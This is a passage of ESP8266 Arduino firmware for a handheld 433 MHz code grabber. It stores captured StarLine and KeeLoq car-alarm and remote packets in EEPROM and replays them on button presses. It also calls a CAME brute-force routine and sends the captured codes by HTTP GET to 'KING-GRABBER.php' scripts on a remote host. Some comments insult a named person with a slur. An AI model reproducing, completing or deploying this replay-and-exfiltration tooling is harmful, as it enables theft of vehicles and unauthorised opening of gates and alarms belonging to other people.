| EEPROM.begin(3512); | |
| webpak2[0]=EEPROM.read(210); | |
| webpak2[1]=EEPROM.read(211); | |
| webpak2[2]=EEPROM.read(212); | |
| webpak2[3]=EEPROM.read(213); | |
| webpak2[4]=EEPROM.read(214); | |
| webpak2[5]=EEPROM.read(215); | |
| webpak2[6]=EEPROM.read(216); | |
| webpak2[7]=EEPROM.read(217); | |
| webpak2[8]=EEPROM.read(218); | |
| //////////byte webpak2[9]; | |
| ///////////////byte webpak1[9]; | |
| webcoderead(); | |
| if(digitalRead(9)==LOW&&pakiweb==0){ | |
| display.clearDisplay(); | |
| starline_sendwebpak1(webpak1); | |
| for(int i = 0; i<9; i++){ | |
| display.print(webpak1[i],HEX); | |
| delay(3); | |
| display.display(); | |
| }} | |
| if(digitalRead(9)==LOW&&pakiweb==1){ | |
| display.clearDisplay(); | |
| keelog_sendwebpak1(webpak1); | |
| for(int i = 0; i<9; i++){ | |
| display.print(webpak1[i],HEX); | |
| delay(3); | |
| display.display(); | |
| }} | |
| if(digitalRead(D3)==LOW){ | |
| pakiweb++; | |
| if(pakiweb>=3){ | |
| pakiweb = 0; | |
| } | |
| } | |
| if(digitalRead(D4)==LOW&&pakiweb==0){ | |
| display.clearDisplay(); | |
| starline_sendwebpak2(webpak2); | |
| for(int i = 0; i<9; i++){ | |
| display.print(webpak2[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| } | |
| if(digitalRead(D4)==LOW&&pakiweb==1){ | |
| display.clearDisplay(); | |
| keelog_sendwebpak2(webpak2); | |
| for(int i = 0; i<9; i++){ | |
| display.print(webpak2[i],HEX); | |
| delay(3); | |
| display.display(); | |
| } | |
| } | |
| ///////////////////// | |
| } | |
| /////////////////////////////////////////////////////END PAGE 15/////////////////////////////////////////////////////////////////////////// | |
| //////////////////////////////////////////////////PAGE 20//////////////////////////////////////////////////////////////////////////////// | |
| if (page==20) | |
| { | |
| display.setTextSize(1); | |
| display.clearDisplay(); | |
| display.setTextColor(BLACK, WHITE); | |
| display.setCursor(15, 0); | |
| display.print("BRO GRAB"); | |
| display.drawFastHLine(0,10,83,BLACK); | |
| display.setCursor(0, 15); | |
| if (menuitem==1) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">WEB GRABBER"); | |
| display.setCursor(0, 25); | |
| ///4 punkt | |
| if (menuitem==4) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.print(">PAMEHA"); | |
| display.setCursor(0, 35); | |
| ///////////////// | |
| if (menuitem==2) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(0, 36); | |
| display.print(">CAME"); | |
| //if (backlight) | |
| // { | |
| // display.print("ON"); | |
| // } | |
| // else | |
| // { | |
| // display.print("OFF"); | |
| // } | |
| display.display(); | |
| if (menuitem==3) | |
| { | |
| display.setTextColor(WHITE, BLACK); | |
| } | |
| else | |
| { | |
| display.setTextColor(BLACK, WHITE); | |
| } | |
| display.setCursor(15, 50); | |
| display.print("COCO-GRAB"); | |
| display.display(); | |
| } | |
| ///////////////////////////////////////////////////////////////////////end 20//////////////////////////////////////////////////////////////////////////// | |
| ///////////////////////////////////////////////////////////////////////21page///////////////////////////////////////////////////////// | |
| if(page==21){ | |
| came_brut(); | |
| } | |
| if(page==22){ | |
| PAMEHA(); | |
| } | |
| ///////////////////////////////////////////////////////////////////////end 21//////////////////////////////////////////////////////////////////////// | |
| if (page==4) | |
| { | |
| startgrabber(); //zapusk skanera | |
| if(smena<4){ | |
| //Serial.println(smena); | |
| if(digitalRead(D4)==LOW){ | |
| posilstarline2(); | |
| } | |
| if(digitalRead(9)==LOW){ | |
| posilstarline1(); | |
| } | |
| //ZAPIS STARA | |
| if(digitalRead(D4)==LOW&&digitalRead(9)==LOW){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(70, EEPROM.read(20)); | |
| EEPROM.write(71,EEPROM.read(21)); | |
| EEPROM.write(72,EEPROM.read(22)); | |
| EEPROM.write(73,EEPROM.read(23)); | |
| EEPROM.write(74,EEPROM.read(24)); | |
| EEPROM.write(75,EEPROM.read(25)); | |
| EEPROM.write(76,EEPROM.read(26)); | |
| EEPROM.write(77,EEPROM.read(27)); | |
| EEPROM.write(78,EEPROM.read(28)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| delay(100); | |
| EEPROM.begin(3512); | |
| EEPROM.write(80, EEPROM.read(30)); | |
| EEPROM.write(81,EEPROM.read(31)); | |
| EEPROM.write(82,EEPROM.read(32)); | |
| EEPROM.write(83,EEPROM.read(33)); | |
| EEPROM.write(84,EEPROM.read(34)); | |
| EEPROM.write(85,EEPROM.read(35)); | |
| EEPROM.write(86,EEPROM.read(36)); | |
| EEPROM.write(87,EEPROM.read(37)); | |
| EEPROM.write(88,EEPROM.read(38)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| //sohr keelock | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.println("sohranenno"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(70),HEX); | |
| display.print(EEPROM.read(71),HEX); | |
| display.print(EEPROM.read(72),HEX); | |
| display.print(EEPROM.read(73),HEX); | |
| display.print(EEPROM.read(74),HEX); | |
| display.print(EEPROM.read(75),HEX); | |
| display.print(EEPROM.read(76),HEX); | |
| display.print(EEPROM.read(77),HEX); | |
| display.print(EEPROM.read(78),HEX); | |
| display.println(); | |
| display.println("pak2"); | |
| display.print(EEPROM.read(80),HEX); | |
| display.print(EEPROM.read(81),HEX); | |
| display.print(EEPROM.read(82),HEX); | |
| display.print(EEPROM.read(83),HEX); | |
| display.print(EEPROM.read(84),HEX); | |
| display.print(EEPROM.read(85),HEX); | |
| display.print(EEPROM.read(86),HEX); | |
| display.print(EEPROM.read(87),HEX); | |
| display.print(EEPROM.read(88),HEX); | |
| delay(10); | |
| display.display(); | |
| delay(1000); | |
| } | |
| } | |
| ///smena1 | |
| if(smena>5){ | |
| //Serial.println(smena); | |
| if(digitalRead(D4)==LOW){ | |
| posilkeeloq1(); | |
| } | |
| if(digitalRead(9)==LOW){ | |
| posilkeeloq2(); | |
| } | |
| //ZAPIS | |
| if(digitalRead(D4)==LOW&&digitalRead(9)==LOW){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(50, EEPROM.read(0)); | |
| EEPROM.write(51,EEPROM.read(1)); | |
| EEPROM.write(52,EEPROM.read(2)); | |
| EEPROM.write(53,EEPROM.read(3)); | |
| EEPROM.write(54,EEPROM.read(4)); | |
| EEPROM.write(55,EEPROM.read(5)); | |
| EEPROM.write(56,EEPROM.read(6)); | |
| EEPROM.write(57,EEPROM.read(7)); | |
| EEPROM.write(58,EEPROM.read(8)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| delay(100); | |
| EEPROM.begin(3512); | |
| EEPROM.write(60, EEPROM.read(10)); | |
| EEPROM.write(61,EEPROM.read(11)); | |
| EEPROM.write(62,EEPROM.read(12)); | |
| EEPROM.write(63,EEPROM.read(13)); | |
| EEPROM.write(64,EEPROM.read(14)); | |
| EEPROM.write(65,EEPROM.read(15)); | |
| EEPROM.write(66,EEPROM.read(16)); | |
| EEPROM.write(67,EEPROM.read(17)); | |
| EEPROM.write(68,EEPROM.read(18)); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| //sohr keelock | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(0, 0); | |
| display.setTextSize(1); | |
| display.println("sohranenno"); | |
| EEPROM.begin(3512); | |
| display.print(EEPROM.read(50),HEX); | |
| display.print(EEPROM.read(51),HEX); | |
| display.print(EEPROM.read(52),HEX); | |
| display.print(EEPROM.read(53),HEX); | |
| display.print(EEPROM.read(54),HEX); | |
| display.print(EEPROM.read(55),HEX); | |
| display.print(EEPROM.read(56),HEX); | |
| display.print(EEPROM.read(57),HEX); | |
| display.print(EEPROM.read(58),HEX); | |
| display.println(); | |
| display.println("pak2"); | |
| display.print(EEPROM.read(60),HEX); | |
| display.print(EEPROM.read(61),HEX); | |
| display.print(EEPROM.read(62),HEX); | |
| display.print(EEPROM.read(63),HEX); | |
| display.print(EEPROM.read(64),HEX); | |
| display.print(EEPROM.read(65),HEX); | |
| display.print(EEPROM.read(66),HEX); | |
| display.print(EEPROM.read(67),HEX); | |
| display.print(EEPROM.read(68),HEX); | |
| delay(10); | |
| display.display(); | |
| delay(1000); | |
| } | |
| } | |
| //pered scob | |
| } | |
| } | |
| void resetDefaults() | |
| { | |
| // contrast = 50; | |
| // setContrast(); | |
| // backlight = true; | |
| // turnBacklightOn(); | |
| } | |
| void setContrast() | |
| { | |
| //display.setContrast(); | |
| display.display(); | |
| } | |
| void turnBacklightOn() | |
| { | |
| // digitalWrite(9,LOW); | |
| } | |
| void turnBacklightOff() | |
| { | |
| // digitalWrite(9,HIGH); | |
| } | |
| void chistik(){ //chistic pidor sizpshniy takzhe izvesten pod koziem imenev sasha moriyak | |
| display.clearDisplay(); | |
| display.setTextSize(2); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("SCAN433mhz"); | |
| display.display(); | |
| } | |
| void chistikmemory(){ //chistic pidor sizpshniy takzhe izvesten pod koziem imenev sasha moriyak | |
| display.clearDisplay(); | |
| display.setTextSize(2); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.print("MEMORY"); | |
| display.display(); | |
| } | |
| void chistikmemorystar(){ //chistic pidor sizpshniy takzhe izvesten pod koziem imenev sasha moriyak | |
| display.clearDisplay(); | |
| display.setTextSize(2); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.println("MEMORY"); | |
| display.println("STARLINE"); | |
| display.display(); | |
| } | |
| void chistikmemorykeeloq(){ //chistic pidor sizpshniy takzhe izvesten pod koziem imenev sasha moriyak | |
| display.clearDisplay(); | |
| display.setTextSize(2); | |
| display.setTextColor( WHITE); | |
| display.setCursor(0, 0); | |
| display.println("MEMORY"); | |
| display.println("KEELOQ"); | |
| display.display(); | |
| } | |
| void longhand(){ //chistic pidor sizpshniy takzhe izvesten pod koziem imenev sasha moriyak | |
| display.clearDisplay(); | |
| display.setTextSize(2); | |
| display.setTextColor( WHITE); | |
| display.setCursor(15, 0); | |
| display.print("LONG HAND"); | |
| display.display(); | |
| } | |
| //} | |
| void posilkeeloq1(){ | |
| EEPROM.begin(3512); | |
| keelog_codePAK1[0]=EEPROM.read(0); | |
| keelog_codePAK1[1]=EEPROM.read(1); | |
| keelog_codePAK1[2]=EEPROM.read(2); | |
| keelog_codePAK1[3]=EEPROM.read(3); | |
| keelog_codePAK1[4]=EEPROM.read(4); | |
| keelog_codePAK1[5]=EEPROM.read(5); | |
| keelog_codePAK1[6]=EEPROM.read(6); | |
| keelog_codePAK1[7]=EEPROM.read(7); | |
| keelog_codePAK1[8]=EEPROM.read(8); | |
| keelog_send(keelog_codePAK1); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(keelog_codePAK1[0],HEX); | |
| display.print(keelog_codePAK1[1],HEX); | |
| display.print(keelog_codePAK1[2],HEX); | |
| display.print(keelog_codePAK1[3],HEX); | |
| display.print(keelog_codePAK1[4],HEX); | |
| display.print(keelog_codePAK1[5],HEX); | |
| display.print(keelog_codePAK1[6],HEX); | |
| display.print(keelog_codePAK1[7],HEX); | |
| display.print(keelog_codePAK1[8],HEX); | |
| delay(10); | |
| display.display(); | |
| keelog_state = 0; | |
| /// for(int i = 0; i<9; i++){ | |
| /// keelog_code[i]=0;} | |
| //Serial.println("srabotalo-keeloq"); | |
| } | |
| void posilkeeloq2(){ | |
| EEPROM.begin(3512); | |
| keelog_codePAK2[0]=EEPROM.read(10); | |
| keelog_codePAK2[1]=EEPROM.read(11); | |
| keelog_codePAK2[2]=EEPROM.read(12); | |
| keelog_codePAK2[3]=EEPROM.read(13); | |
| keelog_codePAK2[4]=EEPROM.read(14); | |
| keelog_codePAK2[5]=EEPROM.read(15); | |
| keelog_codePAK2[6]=EEPROM.read(16); | |
| keelog_codePAK2[7]=EEPROM.read(17); | |
| keelog_codePAK2[8]=EEPROM.read(18); | |
| keelog_sendPAK2(keelog_codePAK2); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(keelog_codePAK2[0],HEX); | |
| display.print(keelog_codePAK2[1],HEX); | |
| display.print(keelog_codePAK2[2],HEX); | |
| display.print(keelog_codePAK2[3],HEX); | |
| display.print(keelog_codePAK2[4],HEX); | |
| display.print(keelog_codePAK2[5],HEX); | |
| display.print(keelog_codePAK2[6],HEX); | |
| display.print(keelog_codePAK2[7],HEX); | |
| display.print(keelog_codePAK2[8],HEX); | |
| delay(10); | |
| display.display(); | |
| keelog_state = 0; | |
| /// for(int i = 0; i<9; i++){ | |
| /// keelog_codePAK2[i]=0;} | |
| } | |
| void posilstarline1(){ | |
| EEPROM.begin(3512); | |
| starline_codePAK1[0]=EEPROM.read(20); | |
| starline_codePAK1[1]=EEPROM.read(21); | |
| starline_codePAK1[2]=EEPROM.read(22); | |
| starline_codePAK1[3]=EEPROM.read(23); | |
| starline_codePAK1[4]=EEPROM.read(24); | |
| starline_codePAK1[5]=EEPROM.read(25); | |
| starline_codePAK1[6]=EEPROM.read(26); | |
| starline_codePAK1[7]=EEPROM.read(27); | |
| starline_codePAK1[8]=EEPROM.read(28); | |
| starline_send(starline_codePAK1); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(starline_codePAK1[0],HEX); | |
| display.print(starline_codePAK1[1],HEX); | |
| display.print(starline_codePAK1[2],HEX); | |
| display.print(starline_codePAK1[3],HEX); | |
| display.print(starline_codePAK1[4],HEX); | |
| display.print(starline_codePAK1[5],HEX); | |
| display.print(starline_codePAK1[6],HEX); | |
| display.print(starline_codePAK1[7],HEX); | |
| display.print(starline_codePAK1[8],HEX); | |
| delay(10); | |
| display.display(); | |
| starline_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // starline_code[i]=0; | |
| // } | |
| /// Serial.println("srabotalo"); | |
| } | |
| void posilstarline2(){ | |
| EEPROM.begin(3512); | |
| starline_codePAK2[0]=EEPROM.read(30); | |
| starline_codePAK2[1]=EEPROM.read(31); | |
| starline_codePAK2[2]=EEPROM.read(32); | |
| starline_codePAK2[3]=EEPROM.read(33); | |
| starline_codePAK2[4]=EEPROM.read(34); | |
| starline_codePAK2[5]=EEPROM.read(35); | |
| starline_codePAK2[6]=EEPROM.read(36); | |
| starline_codePAK2[7]=EEPROM.read(37); | |
| starline_codePAK2[8]=EEPROM.read(38); | |
| starline_sendPAK2(starline_codePAK2); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(starline_codePAK2[0],HEX); | |
| display.print(starline_codePAK2[1],HEX); | |
| display.print(starline_codePAK2[2],HEX); | |
| display.print(starline_codePAK2[3],HEX); | |
| display.print(starline_codePAK2[4],HEX); | |
| display.print(starline_codePAK2[5],HEX); | |
| display.print(starline_codePAK2[6],HEX); | |
| display.print(starline_codePAK2[7],HEX); | |
| display.print(starline_codePAK2[8],HEX); | |
| delay(10); | |
| display.display(); | |
| starline_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // starline_code[i]=0; | |
| // } | |
| } | |
| void posilkeeloq1zapis(){ | |
| ////////////////////schet paketov | |
| k = 0; | |
| kk = 0; | |
| EEPROM.begin(3512); | |
| keelog_codePAK1zapis[0]=EEPROM.read(50); | |
| keelog_codePAK1zapis[1]=EEPROM.read(51); | |
| keelog_codePAK1zapis[2]=EEPROM.read(52); | |
| keelog_codePAK1zapis[3]=EEPROM.read(53); | |
| keelog_codePAK1zapis[4]=EEPROM.read(54); | |
| keelog_codePAK1zapis[5]=EEPROM.read(55); | |
| keelog_codePAK1zapis[6]=EEPROM.read(56); | |
| keelog_codePAK1zapis[7]=EEPROM.read(57); | |
| keelog_codePAK1zapis[8]=EEPROM.read(58); | |
| keelog_send(keelog_codePAK1zapis); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(keelog_codePAK1zapis[0],HEX); | |
| display.print(keelog_codePAK1zapis[1],HEX); | |
| display.print(keelog_codePAK1zapis[2],HEX); | |
| display.print(keelog_codePAK1zapis[3],HEX); | |
| display.print(keelog_codePAK1zapis[4],HEX); | |
| display.print(keelog_codePAK1zapis[5],HEX); | |
| display.print(keelog_codePAK1zapis[6],HEX); | |
| display.print(keelog_codePAK1zapis[7],HEX); | |
| display.print(keelog_codePAK1zapis[8],HEX); | |
| delay(10); | |
| display.display(); | |
| keelog_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // keelog_code[i]=0;} | |
| //Serial.println("srabotalo-keeloq"); | |
| } | |
| void posilkeeloq2zapis(){ | |
| ////////////////////schet paketov | |
| k = 0; | |
| kk = 0; | |
| EEPROM.begin(3512); | |
| keelog_codePAK2zapis[0]=EEPROM.read(60); | |
| keelog_codePAK2zapis[1]=EEPROM.read(61); | |
| keelog_codePAK2zapis[2]=EEPROM.read(62); | |
| keelog_codePAK2zapis[3]=EEPROM.read(63); | |
| keelog_codePAK2zapis[4]=EEPROM.read(64); | |
| keelog_codePAK2zapis[5]=EEPROM.read(65); | |
| keelog_codePAK2zapis[6]=EEPROM.read(66); | |
| keelog_codePAK2zapis[7]=EEPROM.read(67); | |
| keelog_codePAK2zapis[8]=EEPROM.read(68); | |
| keelog_send(keelog_codePAK2zapis); | |
| digitalWrite(TX, HIGH); | |
| delay(100); | |
| digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(keelog_codePAK2zapis[0],HEX); | |
| display.print(keelog_codePAK2zapis[1],HEX); | |
| display.print(keelog_codePAK2zapis[2],HEX); | |
| display.print(keelog_codePAK2zapis[3],HEX); | |
| display.print(keelog_codePAK2zapis[4],HEX); | |
| display.print(keelog_codePAK2zapis[5],HEX); | |
| display.print(keelog_codePAK2zapis[6],HEX); | |
| display.print(keelog_codePAK2zapis[7],HEX); | |
| display.print(keelog_codePAK2zapis[8],HEX); | |
| delay(10); | |
| display.display(); | |
| keelog_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // keelog_code[i]=0;} | |
| Serial.println("srabotalo-keeloq"); | |
| } | |
| void posilstarline1zapis(){ | |
| ////////////////////schet paketov | |
| k = 0; | |
| kk = 0; | |
| EEPROM.begin(3512); | |
| starline_codePAK1zapis[0]=EEPROM.read(80); | |
| starline_codePAK1zapis[1]=EEPROM.read(81); | |
| starline_codePAK1zapis[2]=EEPROM.read(82); | |
| starline_codePAK1zapis[3]=EEPROM.read(83); | |
| starline_codePAK1zapis[4]=EEPROM.read(84); | |
| starline_codePAK1zapis[5]=EEPROM.read(85); | |
| starline_codePAK1zapis[6]=EEPROM.read(86); | |
| starline_codePAK1zapis[7]=EEPROM.read(87); | |
| starline_codePAK1zapis[8]=EEPROM.read(88); | |
| starline_sendPAK2(starline_codePAK1zapis); | |
| // digitalWrite(TX, HIGH); | |
| // delay(100); | |
| // digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(starline_codePAK1zapis[0],HEX); | |
| display.print(starline_codePAK1zapis[1],HEX); | |
| display.print(starline_codePAK1zapis[2],HEX); | |
| display.print(starline_codePAK1zapis[3],HEX); | |
| display.print(starline_codePAK1zapis[4],HEX); | |
| display.print(starline_codePAK1zapis[5],HEX); | |
| display.print(starline_codePAK1zapis[6],HEX); | |
| display.print(starline_codePAK1zapis[7],HEX); | |
| display.print(starline_codePAK1zapis[8],HEX); | |
| delay(10); | |
| display.display(); | |
| starline_state = 0; | |
| //for(int i = 0; i<9; i++){ | |
| // starline_code[i]=0; | |
| // } | |
| } | |
| void posilstarline2zapis(){ | |
| ////////////////////schet paketov | |
| k = 0; | |
| kk = 0; | |
| EEPROM.begin(3512); | |
| starline_codePAK2zapis[0]=EEPROM.read(70); | |
| starline_codePAK2zapis[1]=EEPROM.read(71); | |
| starline_codePAK2zapis[2]=EEPROM.read(72); | |
| starline_codePAK2zapis[3]=EEPROM.read(73); | |
| starline_codePAK2zapis[4]=EEPROM.read(74); | |
| starline_codePAK2zapis[5]=EEPROM.read(75); | |
| starline_codePAK2zapis[6]=EEPROM.read(76); | |
| starline_codePAK2zapis[7]=EEPROM.read(77); | |
| starline_codePAK2zapis[8]=EEPROM.read(78); | |
| starline_sendPAK2(starline_codePAK2zapis); | |
| // digitalWrite(TX, HIGH); | |
| // delay(100); | |
| // digitalWrite(TX, LOW); | |
| //vibros na displey | |
| display.clearDisplay(); | |
| display.setCursor(4, 0); | |
| display.setTextSize(1); | |
| display.print(starline_codePAK2zapis[0],HEX); | |
| display.print(starline_codePAK2zapis[1],HEX); | |
| display.print(starline_codePAK2zapis[2],HEX); | |
| display.print(starline_codePAK2zapis[3],HEX); | |
| display.print(starline_codePAK2zapis[4],HEX); | |
| display.print(starline_codePAK2zapis[5],HEX); | |
| display.print(starline_codePAK2zapis[6],HEX); | |
| display.print(starline_codePAK2zapis[7],HEX); | |
| display.print(starline_codePAK2zapis[8],HEX); | |
| delay(10); | |
| display.display(); | |
| starline_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // starline_code[i]=0; | |
| // } | |
| } | |
| ////////////////////////////////////WIIIIIIIIIIIFIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII/////////////////////////// | |
| void sendtowebstar(){ | |
| WiFiClient client; | |
| EEPROM.begin(3512); | |
| starline_codePAK2zapis[0]=EEPROM.read(70); | |
| starline_codePAK2zapis[1]=EEPROM.read(71); | |
| starline_codePAK2zapis[2]=EEPROM.read(72); | |
| starline_codePAK2zapis[3]=EEPROM.read(73); | |
| starline_codePAK2zapis[4]=EEPROM.read(74); | |
| starline_codePAK2zapis[5]=EEPROM.read(75); | |
| starline_codePAK2zapis[6]=EEPROM.read(76); | |
| starline_codePAK2zapis[7]=EEPROM.read(77); | |
| starline_codePAK2zapis[8]=EEPROM.read(78); | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER.php?"); | |
| client.print("pak0="); | |
| client.print( starline_codePAK2zapis[0],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( starline_codePAK2zapis[1],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( starline_codePAK2zapis[2],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( starline_codePAK2zapis[3],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( starline_codePAK2zapis[4],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( starline_codePAK2zapis[5],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( starline_codePAK2zapis[6],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( starline_codePAK2zapis[7],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( starline_codePAK2zapis[8],HEX ); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| /////////////////////////////////////////////BIIIIIIIIIIIIIIIIINNNNNNNNNNNNNNNNNNNNNNNNNNN | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBERBIN.php?"); | |
| client.print("pak0="); | |
| client.print( starline_codePAK2zapis[0]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( starline_codePAK2zapis[1]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( starline_codePAK2zapis[2] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( starline_codePAK2zapis[3] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( starline_codePAK2zapis[4] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( starline_codePAK2zapis[5]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( starline_codePAK2zapis[6]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( starline_codePAK2zapis[7] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( starline_codePAK2zapis[8] ); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| ///1pak | |
| EEPROM.begin(3512); | |
| starline_codePAK1zapis[0]=EEPROM.read(80); | |
| starline_codePAK1zapis[1]=EEPROM.read(81); | |
| starline_codePAK1zapis[2]=EEPROM.read(82); | |
| starline_codePAK1zapis[3]=EEPROM.read(83); | |
| starline_codePAK1zapis[4]=EEPROM.read(84); | |
| starline_codePAK1zapis[5]=EEPROM.read(85); | |
| starline_codePAK1zapis[6]=EEPROM.read(86); | |
| starline_codePAK1zapis[7]=EEPROM.read(87); | |
| starline_codePAK1zapis[8]=EEPROM.read(88); | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER1.php?"); | |
| client.print("pak0="); | |
| client.print( starline_codePAK1zapis[0],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( starline_codePAK1zapis[1],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( starline_codePAK1zapis[2],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( starline_codePAK1zapis[3],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( starline_codePAK1zapis[4],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( starline_codePAK1zapis[5],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( starline_codePAK1zapis[6],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( starline_codePAK1zapis[7],HEX ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( starline_codePAK1zapis[8],HEX ); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| ///////////////////////////////////////////////////////////////////////////////////////////BIN///////////////////////////////////// | |
| if (client.connect(host, 80)) | |
| { | |
| client.print( "GET /KING-GRABBER1BIN.php?"); | |
| client.print("pak0="); | |
| client.print( starline_codePAK1zapis[0]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak1="); | |
| client.print( starline_codePAK1zapis[1]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak2="); | |
| client.print( starline_codePAK1zapis[2] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak3="); | |
| client.print( starline_codePAK1zapis[3]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak4="); | |
| client.print( starline_codePAK1zapis[4] ); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak5="); | |
| client.print( starline_codePAK1zapis[5]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak6="); | |
| client.print( starline_codePAK1zapis[6]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak7="); | |
| client.print( starline_codePAK1zapis[7]); | |
| client.print("&"); | |
| client.print("&"); | |
| client.print("pak8="); | |
| client.print( starline_codePAK1zapis[8]); | |
| client.println( " HTTP/1.1"); | |
| client.print( "Host:" ); //////www.gansta-paradise.com | |
| client.println(host); | |
| client.println( "Connection: close" ); | |
| client.println(); | |
| client.println(); } | |
| else { | |
| // If Arduino can't connect to the server (your computer or web page) | |
| Serial.println("--> connection failed\n"); | |
| } | |
| Serial.println("srabotalo-web"); | |
| } | |
| void sendtowebkeyloh(){ | |
| WiFiClient client; | |
| //keyloh p1 | |
| EEPROM.begin(3512); | |
| keelog_codePAK1zapis[0]=EEPROM.read(50); | |
| keelog_codePAK1zapis[1]=EEPROM.read(51); | |
| keelog_codePAK1zapis[2]=EEPROM.read(52); | |
| keelog_codePAK1zapis[3]=EEPROM.read(53); | |
| keelog_codePAK1zapis[4]=EEPROM.read(54); | |
| keelog_codePAK1zapis[5]=EEPROM.read(55); | |
